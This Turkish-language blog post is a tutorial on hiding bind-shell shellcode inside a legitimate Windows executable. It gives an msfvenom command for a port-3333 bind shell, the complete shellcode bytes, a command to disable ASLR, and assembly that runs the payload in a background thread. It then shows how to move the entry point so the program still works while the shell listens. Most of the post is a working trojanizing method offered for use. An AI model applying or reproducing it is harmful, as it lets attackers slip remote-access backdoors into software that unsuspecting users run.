Murat ERDEM - Personal Research Blog




Hide Shellcode in PE File

November 01, 2020

Bu yazımızda sıradan bir exe dosyasının içerisine kendi zararlı kodumuzu yerleştirerek program çalışmasında hiç bir hata olmadan zararlı kodun arka planda nasıl çalıştırılabileceğine bakacağız.

Öncelikle bize bir zararlı kod gerekiyor bunu en kolay yöntem olarak aşağıdaki komut ile msfvenom üzerinden elde edebiliriz.

       
    
        msfvenom -a x86 --platform Windows -p windows/shell_bind_tcp -b '\x00' -f python LPORT=3333 -e no-encoder
    

Dikkat etmeniz gereken kısım no-encoder parametresi burada default olarak genelde shikata ga nai encoder ile çıktı verilmektedir. Bu şifreleme yönteminde ise anti-debug koruması sağlayan bazı instructionlar bulunur bu nedenle debuggerde exe üzerinde düzenleme yaparken uygulama hata verip çalışmayı durdurabilir. Zararlı kodunuzu encode etmek istiyorsanız anti-debug koruması olmayan encoderler tercih edilebilir yada doğru çalışıp çalışmadığını denemek için kaydedilip debugger dışında çalıştırılabilir.

Yukarıdaki komut bize python içerisinde kullanabileceğimiz bir kod verecektir. Bu kodları metin editörde bir kaç replace işlemi ile sadece hex değerler kalacak şekilde çıkartabilirsiniz. Hex olarak elde ettikten sonra işlemlerimizin kolay yapılabilmesi için aşağıdaki gibi küçük bir python kod paçası ile düzenleyebiliriz. Bu düzenleme ne kadarlık bir alan kapladığını hesaplama açısından kolaylık sağlayacaktır.

       
    
        data="fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a085950e2fd4050405068ea0fdfe0ffd5976802000d0589e66a10565768c2db3767ffd55768b7e938ffffd5576874ec3be1ffd5579768756e4d61ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5"

        line=""
        for i in data:
            line+=i
            if(len(line) == 32):
                print(line)
                line=""
        print(line)
    

Bu kodun çıktısı bize aşağıdaki gibi bir sonuç verecektir.

       
    
        fce8820000006089e531c0648b50308b
        520c8b52148b72280fb74a2631ffac3c
        617c022c20c1cf0d01c7e2f252578b52
        108b4a3c8b4c1178e34801d1518b5920
        01d38b4918e33a498b348b01d631ffac
        c1cf0d01c738e075f6037df83b7d2475
        e4588b582401d3668b0c4b8b581c01d3
        8b048b01d0894424245b5b61595a51ff
        e05f5f5a8b12eb8d5d68333200006877
        73325f54684c772607ffd5b890010000
        29c454506829806b00ffd56a085950e2
        fd4050405068ea0fdfe0ffd597680200
        0d0589e66a10565768c2db3767ffd557
        68b7e938ffffd5576874ec3be1ffd557
        9768756e4d61ffd568636d640089e357
        575731f66a125956e2fd66c744243c01
        018d442410c60044545056565646564e
        565653566879cc3f86ffd589e04e5646
        ff306808871d60ffd5bbf0b5a25668a6
        95bd9dffd53c067c0a80fbe07505bb47
        13726f6a0053ffd5
    

Bu işlem biz hex editörde çalışırken işlem kolaylığı sağlayacak. Buradan sonra zararlı kodun yerleştirileceği hedef exe uygulamamızı seçmemiz gerekiyor. Bu seçimde exe derlenirken ASLR koruması var ise setdllcharacteristics aracı ile bu güvenlik önlemini devre dışı bırakabiliriz. Bu aracı aşağıdaki komut ile çalıştırmanız yeterlidir.

       
    
        setdllcharacteristics.exe -d bintext.exe
    

Ben bintext.exe adında bir uygulama içerisine shelcode yerleştirmek istiyorum. Öncelikle burada cff explorer ile bu dosyayı açarsak text sectionu altında bir kısım boş alan olduğunu görebiliriz

Biz kodlarımızı bu alan içerisine yazacağız ancak daha büyük bir kod parçası yerleştirmek isterseniz yeni sectionlar oluşturabilirsiniz. Dikkat gerektiren nokta kodlarımızı yürütme izninin olduğu bir alana yazmak. Resimde .text sectionun raw adresi 400, raw size 3600 olarak gösterilmektedir. Bu değerler hexedecimal olarak gösterilmektedir. 400 + 3600 = 3A00 adresinde bizim text alanımızın sonlandığını bilmekteyiz.

Eğer biz bir hex editörden exe dosyamızı açıp 3A00 adresine gidersek bu adresten önce biraz boş alan olduğunu görebiliriz. Bu alana az önce elde ettiğimiz hex kodları yapıştırmamız gerekmekte ancak dosya boyutunun değişmediğinden emin olmalıyız. Eğer dosya boyutu değişirse uygulamamız çalışmayacaktır.

Bu değişiklikleri kayıt ettikten sonra debugger aracı ile uygulamamızı açtığımızda uygulamanın entry pointine kadar çalıştıralım daha sonra sayfanın en altına indikten sonra yukarıya doğru biraz çıkarsak bizim eklediğimiz hex kodlarını görebiliriz. Ben x32dbg kullanıyorum.

Buranın üst tarafında “add byte ptr ds:[eax],al” komutlarını görebiliriz. bu komutlar aslında işlenmeyen sadece boş 00 baytlarını debuggerin yorumlamaya çalışmasından kaynaklı çıkan komutlardır. Biz bu alanlar üzerinde istediğimiz gibi düzenleme yapabiliriz. Bizim Programımızın düzgün çalışabilmesi için oraya aşağıdaki gibi bir kodlama yapılabilir.

    
        nop 
        cld 
        pushad 
        pushfd 
        push ebp
        mov ebp,esp
        push 0
        push 0
        push 0
        push bintext.4044B0
        //shellcode adresi
        push 0
        push 0
        nop 
        call dword ptr ds:[]
        //fonksiyon çağrısı
        nop 
        pop ebp
        popfd 
        popad 
        nop 
        jmp 
        //gerçek entry point
        nop 
        nop
    

Bu asm kodları zararlı kodu bir thread içerisinde çalıştırarak asıl programa etki etmeden çalışmasını sağlayacaktır. Yukarıdaki kodda öncelikle flag ve register verilerini stacka atıyoruz bu verileri kaybetmek programın hatalı çalışmasına neden olabilir. Daha sonra CreateThread fonksiyonu için gerekli parametreleri stacka atıyoruz. Burada parametreleri sağdan sola şekilde push işlemini yapıyoruz. Asm kodlarında görünen CreateThread yerine adresini yazmamız gerekiyor debugger otomatik olarak onu fonksiyon şeklinde yorumlanıyor. bintext.4044B0 değeride bizim zararlı kodlarımızın başlangıç adresidir. Burada başlangıç adresinden önce bir kaç nop koymakta fayda var. CreateThread adresinide import edilen fonksiyonun adresi olacak şekilde yazmalıyız yoksa erişim hatası alabilirsiniz.

Bu kodlamayı yaptıktan sonra debugger size hex karşılıklarını gösterecektir. Bu hex değerlerini kopyalayarak hex editörde zararlı kodlarımızdan önce yapıştıralım ve kayıt edelim. Öncelikle kodlarımızdaki jmp ve push için kullanılan adreslerinin doğru olduğunu kontrol etmemiz gerekmekte eğer yanlışlık varsa aynı yöntem ile tekrar düzeltelim. Her şey tamamlandığında adreslerden dolayı küçük farklılıklar olabilir ama genel yapı aşağıdaki gibi olacaktır.

Buradan sonra programın ilk çalışmaya başladığı yer olan entry pointini bizim zararlıyı thread olarak başlatacak olan fonksiyonun başlangıcına atamamız gerekmekte. Bunu yapmanın en basit yolu debugger üzerinde programı açtığımızda entry point adresi 0x0040422D adresini göstermektedir. Bizim zıplama fonksiyonumuz ise 0x00404451 adresini göstermektedir. Bu iki adresi bir birinden çıkartırsak 0x00404451 – 0x0040422D = 0x224 değerini elde ederiz. Bu değer bizim entry pointimizin kayması gereken değer. CFF Explorerde uygulamamızın son halini açarsak entry pointinin 0x422D olduğunu görebiliriz. 0x422D + 0x224 = 0x4451 adresi bizim yeni entry pointimiz olmalı. Adresimizi düzenleyip cff üzerinde exeyi kayıt edersek bütün işlemlerimiz bitmiş oluyor. Bu exe çalıştığı sürece shellcode thread olarak çalışacaktır.

Başka bir bilgisayardan bağlantı isteği attığımızda ise shelle düşebiliriz.

Hatalar

Bu kodların birebir sizin bilgisayarınızda çalışmayacaktır seçtiğiniz exe dosyası, derleyici, adresler gibi bir çok farklılıklar olabilir. Bu mantıkta yazarak adresleri kendinize göre yeniden düzenlemeniz gerekmektedir.